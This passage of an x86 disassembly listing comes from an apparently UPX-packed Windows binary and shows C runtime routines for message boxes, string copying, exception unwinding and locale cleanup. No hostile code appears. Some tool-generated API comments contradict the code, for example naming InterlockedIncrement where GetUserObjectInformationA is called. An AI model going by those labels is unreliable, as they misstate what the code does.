		call	sub_409908
		add	esp, 0Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4099FA	proc near		; CODE XREF: sub_4058D0+89p
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	ebp, edx
		xor	eax, eax
		xor	ebx, ebx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	ecx
		pop	ebx
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4099FA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4058D0


loc_409A11:				; CODE XREF: sub_4058D0+170j
		mov	ebp, edx
		mov	esi, ecx
		mov	eax, ecx
		push	1
		call	sub_409F49
		xor	eax, eax
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	edi, edi
		jmp	esi
; END OF FUNCTION CHUNK	FOR sub_4058D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2A	proc near		; CODE XREF: sub_4058D0+11Fp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	offset loc_409A3F
		push	ecx
		call	sub_40B00E	; RtlUnwind


loc_409A3F:				; DATA XREF: sub_409A2A+Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_409A2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_409A44	proc near		; CODE XREF: sub_4058D0+137p
					; sub_4058D0+18Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	edx
		push	ecx
		push	[esp+0Ch+arg_4]
		call	sub_409908
		add	esp, 0Ch
		pop	ebp
		retn	8
sub_409A44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A5B	proc near		; CODE XREF: sub_405F23+15Dp

var_30		= dword	ptr -30h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		call	sub_404702
		xor	ebx, ebx
		cmp	ds:dword_4107DC, ebx
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	loc_409B31
		push	offset aUser32_dll ; "USER32.DLL"
		call	dword_40C0FC	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C11
		mov	esi, dword_40C068
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi ; dword_40C068
		cmp	eax, ebx
		jz	loc_409C11
		push	eax
		call	sub_404694
		mov	[esp+30h+var_30], offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		mov	ds:dword_4107DC, eax
		call	esi ; dword_40C068
		push	eax
		call	sub_404694
		mov	[esp+30h+var_30], offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	ds:dword_4107E0, eax
		call	esi ; dword_40C068
		push	eax
		call	sub_404694
		mov	ds:dword_4107E4, eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4055F2
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409AFF
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_402095
		add	esp, 14h


loc_409AFF:				; CODE XREF: sub_409A5B+95j
		cmp	[ebp+var_C], 2
		jnz	short loc_409B31
		push	offset aGetuserobjecti ; "GetUserObjectInformationA"
		push	edi
		call	esi ; dword_40C068
		push	eax
		call	sub_404694
		cmp	eax, ebx
		pop	ecx
		mov	ds:dword_4107EC, eax
		jz	short loc_409B31
		push	offset aGetprocesswind ; "GetProcessWindowStation"
		push	edi
		call	esi ; dword_40C068
		push	eax
		call	sub_404694
		pop	ecx
		mov	ds:dword_4107E8, eax


loc_409B31:				; CODE XREF: sub_409A5B+22j
					; sub_409A5B+A8j ...
		mov	eax, ds:dword_4107E8
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jz	short loc_409BB6
		cmp	ds:dword_4107EC, ecx
		jz	short loc_409BB6
		push	eax
		call	sub_40470B
		push	ds:dword_4107EC
		mov	esi, eax
		call	sub_40470B
		cmp	esi, ebx
		pop	ecx
		pop	ecx
		mov	edi, eax
		jz	short loc_409BB6
		cmp	edi, ebx
		jz	short loc_409BB6
		call	esi	; GetProcAddress
		cmp	eax, ebx
		jz	short loc_409B83
		lea	ecx, [ebp+var_14]
		push	ecx
		push	0Ch
		lea	ecx, [ebp+var_20]
		push	ecx
		push	1
		push	eax
		call	edi	; InterlockedIncrement
		test	eax, eax
		jz	short loc_409B83
		test	[ebp+var_18], 1
		jnz	short loc_409BB6


loc_409B83:				; CODE XREF: sub_409A5B+10Dj
					; sub_409A5B+120j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_405629
		test	eax, eax
		pop	ecx
		jz	short loc_409B9E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_402095
		add	esp, 14h


loc_409B9E:				; CODE XREF: sub_409A5B+134j
		cmp	[ebp+var_10], 4
		jb	short loc_409BAD
		or	[ebp+arg_8], 200000h
		jmp	short loc_409BF1
; ---------------------------------------------------------------------------


loc_409BAD:				; CODE XREF: sub_409A5B+147j
		or	[ebp+arg_8], 40000h
		jmp	short loc_409BF1
; ---------------------------------------------------------------------------


loc_409BB6:				; CODE XREF: sub_409A5B+E0j
					; sub_409A5B+E8j ...
		mov	eax, ds:dword_4107E0
		cmp	eax, [ebp+var_8]
		jz	short loc_409BF1
		push	eax
		call	sub_40470B
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BF1
		call	eax ; dword_4107E0
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_409BF1
		mov	eax, ds:dword_4107E4
		cmp	eax, [ebp+var_8]
		jz	short loc_409BF1
		push	eax
		call	sub_40470B
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BF1
		push	[ebp+var_4]
		call	eax ; dword_4107E4
		mov	[ebp+var_4], eax


loc_409BF1:				; CODE XREF: sub_409A5B+150j
					; sub_409A5B+159j ...
		push	ds:dword_4107DC
		call	sub_40470B
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409C11
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	eax
		jmp	short loc_409C13
; ---------------------------------------------------------------------------


loc_409C11:				; CODE XREF: sub_409A5B+37j
					; sub_409A5B+4Dj ...
		xor	eax, eax


loc_409C13:				; CODE XREF: sub_409A5B+1B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409A5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C18	proc near		; CODE XREF: sub_405F23+117p
					; sub_405F23+139p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		jz	short loc_409C2D
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_409C48


loc_409C2D:				; CODE XREF: sub_409C18+Bj
					; sub_409C18+3Aj
		call	sub_4053C0
		push	16h
		pop	esi
		mov	[eax], esi


loc_409C37:				; CODE XREF: sub_409C18+69j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_402191
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_409C85
; ---------------------------------------------------------------------------


loc_409C48:				; CODE XREF: sub_409C18+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_409C54


loc_409C50:				; CODE XREF: sub_409C18+48j
		mov	[eax], bl
		jmp	short loc_409C2D
; ---------------------------------------------------------------------------


loc_409C54:				; CODE XREF: sub_409C18+36j
		mov	edx, eax


loc_409C56:				; CODE XREF: sub_409C18+44j
		cmp	[edx], bl
		jz	short loc_409C5E
		inc	edx
		dec	edi
		jnz	short loc_409C56


loc_409C5E:				; CODE XREF: sub_409C18+40j
		cmp	edi, ebx
		jz	short loc_409C50


loc_409C62:				; CODE XREF: sub_409C18+55j
		mov	cl, [esi]
		mov	[edx], cl
		inc	edx
		inc	esi
		cmp	cl, bl
		jz	short loc_409C6F
		dec	edi
		jnz	short loc_409C62


loc_409C6F:				; CODE XREF: sub_409C18+52j
		cmp	edi, ebx
		jnz	short loc_409C83
		mov	[eax], bl
		call	sub_4053C0
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_409C37
; ---------------------------------------------------------------------------


loc_409C83:				; CODE XREF: sub_409C18+59j
		xor	eax, eax


loc_409C85:				; CODE XREF: sub_409C18+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409C18	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C89	proc near		; CODE XREF: sub_405F23+27p
					; sub_405F23+38p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jl	short loc_409CB2
		cmp	ecx, 2
		jle	short loc_409CA5
		cmp	ecx, 3
		jnz	short loc_409CB2
		mov	eax, ds:dword_40FE1C
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409CA5:				; CODE XREF: sub_409C89+Ej
		mov	eax, ds:dword_40FE1C
		mov	ds:dword_40FE1C, ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409CB2:				; CODE XREF: sub_409C89+9j
					; sub_409C89+13j
		call	sub_4053C0
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_402191
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_409C89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409CCF	proc near		; CODE XREF: sub_409D20+Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_407FBB
		movzx	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	dl, [ebp+arg_C]
		test	[ecx+eax+1Dh], dl
		jnz	short loc_409D0E
		cmp	[ebp+arg_8], 0
		jz	short loc_409D08
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [ebp+arg_8]
		jmp	short loc_409D0A
; ---------------------------------------------------------------------------


loc_409D08:				; CODE XREF: sub_409CCF+25j
		xor	eax, eax


loc_409D0A:				; CODE XREF: sub_409CCF+37j
		test	eax, eax
		jz	short loc_409D11


loc_409D0E:				; CODE XREF: sub_409CCF+1Fj
		xor	eax, eax
		inc	eax


loc_409D11:				; CODE XREF: sub_409CCF+3Dj
		cmp	[ebp+var_4], 0
		jz	short locret_409D1E
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_409D1E:				; CODE XREF: sub_409CCF+46j
		leave
		retn
sub_409CCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_40625A+3Fp
					; sub_406392+53p ...

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		push	0
		call	sub_409CCF
		add	esp, 10h
		retn
sub_409D20	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D33	proc near		; CODE XREF: sub_406FB3+59p
					; sub_406FB3+6Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		inc	eax
		cmp	[esp+arg_0], 0
		jnz	short locret_409D3F
		xor	eax, eax

locret_409D3F:				; CODE XREF: sub_409D33+8j
		retn
sub_409D33	endp

; ---------------------------------------------------------------------------


loc_409D40:				; CODE XREF: sub_407773:loc_4077A1p
		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+2A4h], eax
		test	ds:byte_40FB00,	1
		push	esi
		jz	short loc_409D6D
		push	0Ah
		call	sub_405F23
		pop	ecx


loc_409D6D:				; CODE XREF: UPX0:00409D63j
		call	sub_409658
		test	eax, eax
		jz	short loc_409D7E
		push	16h
		call	sub_409665
		pop	ecx


loc_409D7E:				; CODE XREF: UPX0:00409D74j
		test	ds:byte_40FB00,	2
		jz	loc_409E2B
		mov	[ebp+88h], eax
		mov	[ebp+84h], ecx
		mov	[ebp+80h], edx
		mov	[ebp+7Ch], ebx
		mov	[ebp+78h], esi
		mov	[ebp+74h], edi
		mov	word ptr [ebp+0A0h], ss
		mov	word ptr [ebp+94h], cs
		mov	word ptr [ebp+70h], ds
		mov	word ptr [ebp+6Ch], es
		mov	word ptr [ebp+68h], fs
		mov	[ebp+64h], gs
		pushf
		pop	dword ptr [ebp+98h]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+9Ch], eax
		mov	dword ptr [ebp-28h], 10001h
		mov	[ebp+90h], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+8Ch], eax
		lea	eax, [ebp-80h]
		push	0
		push	eax
		call	sub_4021D0
		lea	eax, [ebp-80h]
		add	esp, 0Ch
		mov	[ebp-30h], eax
		lea	eax, [ebp-28h]
		push	0
		mov	dword ptr [ebp-80h], 40000015h
		mov	[ebp-74h], esi
		mov	[ebp-2Ch], eax
		call	dword_40C03C	; SetUnhandledExceptionFilter
		lea	eax, [ebp-30h]
		push	eax
		call	dword_40C038	; UnhandledExceptionFilter


loc_409E2B:				; CODE XREF: UPX0:00409D85j
		push	3
		call	sub_4057EA
; ---------------------------------------------------------------------------
		db 2 dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_409E4C
		push	dword ptr [ebp+8]
		call	sub_40B00E	; RtlUnwind


loc_409E4C:				; DATA XREF: UPX0:00409E3Fo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_409E54:				; DATA XREF: sub_409E99+Bo
					; UPX0:00409F26o
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_409E98
		mov	eax, [esp+14h]
		mov	ecx, [eax-4]
		xor	ecx, eax
		call	sub_40224A
		push	ebp
		mov	ebp, [eax+10h]
		mov	edx, [eax+28h]
		push	edx
		mov	edx, [eax+24h]
		push	edx
		call	sub_409E99
		add	esp, 8
		pop	ebp
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_409E98:				; CODE XREF: UPX0:00409E64j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409E99	proc near		; CODE XREF: UPX0:00409E80p

var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	ebp
		push	eax
		push	0FFFFFFFEh
		push	offset loc_409E54
		push	large dword ptr	fs:0
		mov	eax, ds:dword_40F060
		xor	eax, esp
		push	eax
		lea	eax, [esp+24h+var_20]
		mov	large fs:0, eax


loc_409EC2:				; CODE XREF: sub_409E99:loc_409F09j
		mov	eax, [esp+24h+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409F0B
		cmp	[esp+24h+arg_4], 0FFFFFFFFh
		jz	short loc_409EDE
		cmp	esi, [esp+24h+arg_4]
		jbe	short loc_409F0B


loc_409EDE:				; CODE XREF: sub_409E99+3Dj
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+24h+var_18], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_409F09
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_409F49
		mov	eax, [ebx+esi*4+8]
		call	sub_409F68


loc_409F09:				; CODE XREF: sub_409E99+57j
		jmp	short loc_409EC2
; ---------------------------------------------------------------------------


loc_409F0B:				; CODE XREF: sub_409E99+36j
					; sub_409E99+43j
		mov	ecx, [esp+24h+var_20]
		mov	large fs:0, ecx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_409E99	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_409E54
		jnz	short locret_409F3F
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_409F3F
		mov	eax, 1

locret_409F3F:				; CODE XREF: UPX0:00409F2Dj
					; UPX0:00409F38j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409F40	proc near		; CODE XREF: sub_407810+1Ep
					; sub_407810+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_40FB04
		jmp	short loc_409F54
sub_409F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F49	proc near		; CODE XREF: sub_409908+6Ep
					; sub_4058D0+4149p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ecx
		mov	ebx, offset dword_40FB04
		mov	ecx, [esp+8+arg_0]


loc_409F54:				; CODE XREF: sub_409F40+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		push	ebp
		push	ecx
		push	eax
		pop	eax
		pop	ecx
		pop	ebp
		pop	ecx
		pop	ebx
		retn	4
sub_409F49	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F68	proc near		; CODE XREF: sub_409908+7Bp
					; sub_409E99+6Bp
		call	eax
		retn
sub_409F68	endp


; =============== S U B	R O U T	I N E =======================================



sub_409F6B	proc near		; CODE XREF: sub_407A03+E9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_40A0F9
		push	dword ptr [esi+4]
		call	sub_404F20
		push	dword ptr [esi+8]
		call	sub_404F20
		push	dword ptr [esi+0Ch]
		call	sub_404F20
		push	dword ptr [esi+10h]
		call	sub_404F20
		push	dword ptr [esi+14h]
		call	sub_404F20
		push	dword ptr [esi+18h]
		call	sub_404F20
		push	dword ptr [esi]
		call	sub_404F20
		push	dword ptr [esi+20h]
		call	sub_404F20
		push	dword ptr [esi+24h]
		call	sub_404F20
		push	dword ptr [esi+28h]
		call	sub_404F20
		push	dword ptr [esi+2Ch]
		call	sub_404F20
		push	dword ptr [esi+30h]
		call	sub_404F20
		push	dword ptr [esi+34h]
		call	sub_404F20
		push	dword ptr [esi+1Ch]
		call	sub_404F20
		push	dword ptr [esi+38h]
		call	sub_404F20
		push	dword ptr [esi+3Ch]
		call	sub_404F20
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_404F20
		push	dword ptr [esi+44h]
		call	sub_404F20
		push	dword ptr [esi+48h]
		call	sub_404F20
		push	dword ptr [esi+4Ch]
		call	sub_404F20
		push	dword ptr [esi+50h]
		call	sub_404F20
		push	dword ptr [esi+54h]
		call	sub_404F20
		push	dword ptr [esi+58h]
		call	sub_404F20
		push	dword ptr [esi+5Ch]
		call	sub_404F20
		push	dword ptr [esi+60h]
		call	sub_404F20
		push	dword ptr [esi+64h]
		call	sub_404F20
		push	dword ptr [esi+68h]
		call	sub_404F20
		push	dword ptr [esi+6Ch]
		call	sub_404F20
		push	dword ptr [esi+70h]
		call	sub_404F20
		push	dword ptr [esi+74h]
		call	sub_404F20
		push	dword ptr [esi+78h]
		call	sub_404F20
		push	dword ptr [esi+7Ch]
		call	sub_404F20
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_404F20
		push	dword ptr [esi+84h]
		call	sub_404F20
		push	dword ptr [esi+88h]
		call	sub_404F20
		push	dword ptr [esi+8Ch]
		call	sub_404F20
		push	dword ptr [esi+90h]
		call	sub_404F20
		push	dword ptr [esi+94h]
		call	sub_404F20
		push	dword ptr [esi+98h]
		call	sub_404F20
		push	dword ptr [esi+9Ch]
		call	sub_404F20
		push	dword ptr [esi+0A0h]
		call	sub_404F20
		push	dword ptr [esi+0A4h]
		call	sub_404F20
		push	dword ptr [esi+0A8h]
		call	sub_404F20
		add	esp, 2Ch


loc_40A0F9:				; CODE XREF: sub_409F6B+7j
		pop	esi
		retn
sub_409F6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A0FB	proc near		; CODE XREF: sub_407A03+64p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40A139
		mov	eax, [esi]
		cmp	eax, ds:off_40FBE0
		jz	short loc_40A115
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A115:				; CODE XREF: sub_40A0FB+11j
		mov	eax, [esi+4]
		cmp	eax, ds:off_40FBE4
		jz	short loc_40A127
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A127:				; CODE XREF: sub_40A0FB+23j
		mov	esi, [esi+8]
		cmp	esi, ds:off_40FBE8
		jz	short loc_40A139
		push	esi
		call	sub_404F20
		pop	ecx


loc_40A139:				; CODE XREF: sub_40A0FB+7j
					; sub_40A0FB+35j
		pop	esi
		retn
sub_40A0FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A13B	proc near		; CODE XREF: sub_407A03+43p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40A1C2
		mov	eax, [esi+0Ch]
		cmp	eax, ds:off_40FBEC
		jz	short loc_40A156
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A156:				; CODE XREF: sub_40A13B+12j
		mov	eax, [esi+10h]
		cmp	eax, ds:off_40FBF0
		jz	short loc_40A168
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A168:				; CODE XREF: sub_40A13B+24j
		mov	eax, [esi+14h]
		cmp	eax, ds:off_40FBF4
		jz	short loc_40A17A
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A17A:				; CODE XREF: sub_40A13B+36j
		mov	eax, [esi+18h]
		cmp	eax, ds:off_40FBF8
		jz	short loc_40A18C
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A18C:				; CODE XREF: sub_40A13B+48j
		mov	eax, [esi+1Ch]
		cmp	eax, ds:off_40FBFC
		jz	short loc_40A19E
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A19E:				; CODE XREF: sub_40A13B+5Aj
		mov	eax, [esi+20h]
		cmp	eax, ds:off_40FC00
		jz	short loc_40A1B0
		push	eax
		call	sub_404F20
		pop	ecx


loc_40A1B0:				; CODE XREF: sub_40A13B+6Cj
		mov	esi, [esi+24h]
		cmp	esi, ds:off_40FC04
		jz	short loc_40A1C2
		push	esi
		call	sub_404F20
		pop	ecx


loc_40A1C2:				; CODE XREF: sub_40A13B+7j
					; sub_40A13B+7Ej
		pop	esi
		retn
sub_40A13B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1C4	proc near		; CODE XREF: sub_40A226+126p
					; sub_40A460+220p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_40A1DE
		sub	eax, 8
		cmp	dword ptr [eax], 0DDDDh
		jnz	short locret_40A1DE
		push	eax
		call	sub_404F20
		pop	ecx

locret_40A1DE:				; CODE XREF: sub_40A1C4+6j
					; sub_40A1C4+11j
		retn
sub_40A1C4	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_40A1F4:				; CODE XREF: UPX0:0040A201j
		mov	al, [edx]
		or	al, al
		jz	short loc_40A203
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_40A1F4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: UPX0:0040A1F8j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]


loc_40A20C:				; CODE XREF: UPX0:0040A21Cj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_40A21E
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_40A20C


loc_40A21E:				; CODE XREF: UPX0:0040A213j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A226	proc near		; CODE XREF: sub_40A3DE+29p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_40F060
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_4107F4
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	eax, ebx
		push	edi
		mov	edi, ecx
		jnz	short loc_40A27F
		lea	eax, [ebp+var_8]
		push	eax
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_40D9FC
		push	esi
		call	dword_40C110	; GetStringTypeW
		test	eax, eax
		jz	short loc_40A265
		mov	ds:dword_4107F4, esi
		jmp	short loc_40A299
; ---------------------------------------------------------------------------


loc_40A265:				; CODE XREF: sub_40A226+35j
		call	dword_40C088	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_40A27A
		push	2
		pop	eax
		mov	ds:dword_4107F4, eax
		jmp	short loc_40A27F
; ---------------------------------------------------------------------------


loc_40A27A:				; CODE XREF: sub_40A226+48j
		mov	eax, ds:dword_4107F4


loc_40A27F:				; CODE XREF: sub_40A226+1Dj
					; sub_40A226+52j
		cmp	eax, 2
		jz	loc_40A357
		cmp	eax, ebx
		jz	loc_40A357
		cmp	eax, 1
		jnz	loc_40A381


loc_40A299:				; CODE XREF: sub_40A226+3Dj
		cmp	[ebp+arg_10], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_40A2A9
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax


loc_40A2A9:				; CODE XREF: sub_40A226+79j
		mov	esi, dword_40C10C
		xor	eax, eax
		cmp	[ebp+arg_18], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		setnz	al
		push	[ebp+arg_4]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	esi ; dword_40C10C
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A381
		jle	short loc_40A314
		cmp	edi, 7FFFFFF0h
		ja	short loc_40A314
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_40A2FE
		call	sub_40A970
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_40A312
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_40A30F
; ---------------------------------------------------------------------------


loc_40A2FE:				; CODE XREF: sub_40A226+C3j
		push	eax
		call	sub_404E31
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40A312
		mov	dword ptr [eax], 0DDDDh


loc_40A30F:				; CODE XREF: sub_40A226+D6j
		add	eax, 8


loc_40A312:				; CODE XREF: sub_40A226+CEj
					; sub_40A226+E1j
		mov	ebx, eax


loc_40A314:				; CODE XREF: sub_40A226+B0j
					; sub_40A226+B8j
		test	ebx, ebx
		jz	short loc_40A381
		lea	eax, [edi+edi]
		push	eax
		push	0
		push	ebx
		call	sub_4021D0
		add	esp, 0Ch
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	esi ; dword_40C10C
		test	eax, eax
		jz	short loc_40A34B
		push	[ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_40C110	; GetStringTypeW
		mov	[ebp+var_8], eax


loc_40A34B:				; CODE XREF: sub_40A226+112j
		push	ebx
		call	sub_40A1C4
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	short loc_40A3CC
; ---------------------------------------------------------------------------


loc_40A357:				; CODE XREF: sub_40A226+5Cj
					; sub_40A226+64j
		xor	esi, esi
		cmp	[ebp+arg_14], ebx
		jnz	short loc_40A366
		mov	eax, [edi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_14], eax


loc_40A366:				; CODE XREF: sub_40A226+136j
		cmp	[ebp+arg_10], ebx
		jnz	short loc_40A373
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax


loc_40A373:				; CODE XREF: sub_40A226+143j
		push	[ebp+arg_14]
		call	sub_40A99C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_40A385


loc_40A381:				; CODE XREF: sub_40A226+6Dj
					; sub_40A226+AAj ...
		xor	eax, eax
		jmp	short loc_40A3CC
; ---------------------------------------------------------------------------


loc_40A385:				; CODE XREF: sub_40A226+159j
		cmp	eax, [ebp+arg_10]
		jz	short loc_40A3A8
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_10]
		call	sub_40A9E3
